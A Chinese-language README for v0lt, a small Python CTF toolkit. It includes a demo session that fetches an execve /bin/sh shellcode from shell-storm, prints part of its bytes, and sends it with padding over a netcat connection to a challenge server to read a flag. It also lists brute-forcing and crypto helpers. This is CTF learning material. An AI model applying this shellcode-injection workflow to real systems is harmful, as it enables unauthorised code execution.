v0lt

v0lt 尝试将我在安全 CTF 中使用/正在使用/将要使用的每一个工具以 Python 风格重新整合。许多练习是用 bash 脚本解决的，但 Python 可能更灵活，这就是原因。它与 Gallopsled 无关。这是一个玩具工具包，只包含小而具体的工具。

这个项目不再维护，因为这些工具本身足够小，几乎可以一直工作，无需任何维护。不过如果你想提交 PR，请随意 :)

需求与安装

依赖：

• Libmagic
• Python3
  • BeautifulSoup
  • Requests
  • filemagic
  • hexdump
  • passlib

安装：

# for v0lt install
git clone https://github.com/P1kachu/v0lt.git
cd v0lt
[sudo] python3 setup.py install # sudo is required for potentially missing dependencies

演示：Shellcodes

>>> from v0lt import *
>>> nc = Netcat("archpichu.ddns.net", 65102)
Connected to port 65102
>>> print(nc.read())
GIVE ME SHELLCODZ
>>> shellhack = ShellCrafter(4096, "bin","execve")
>>> shellhack.get_shellcodes(shellhack.keywords)

...<SNIPPED>...
85: Linux/x86:setuid(0) & execve(/sbin/poweroff -f) - 47 bytes
86: Linux/x86:execve (/bin/sh) - 21 Bytes
87: Linux/x86:break chroot execve /bin/sh - 80 bytes
88: Linux/x86:execve(/bin/sh,0,0) - 21 bytes
...<SNIPPED>...

Selection: 86
Your choice: http://shell-storm.org/shellcode/files/shellcode-752.php
Shellcode: "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62[...]"

>>> nc.shellcat(shellhack.shellcode)
>>> nc.writeln(shellhack.pad())
>>> exploit = nc.dialogue("cat flag", 3)
>>> print(exploit)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:
File name too long
P1kaCTF{sh3llc0de_1s_e4zY}

已实现：

• Crypto

  • Base64
  • 凯撒移位
  • 哈希函数 (SHA, MD5)
  • 位操作 (XOR, 逆向 XOR)
  • 常规转换 (字节, 字符串, 十六进制)
  • RSA 基础 (模逆, 幂逆, 扩展欧几里得算法...)
  • 暴力破解 (字典, 自定义单词)

• Shellcodes

  • Shellcode 的选择和下载 (来自 Shell-storm 仓库)
  • Shellcode 格式器
  • Shell{cat,net}: 轻松发送 Shellcode
  • 自动填充

• 简易连接支持

  • Netcat
  • Telnet

• 求解

  • 指令计数暴力破解器

以及更多 示例可在 获取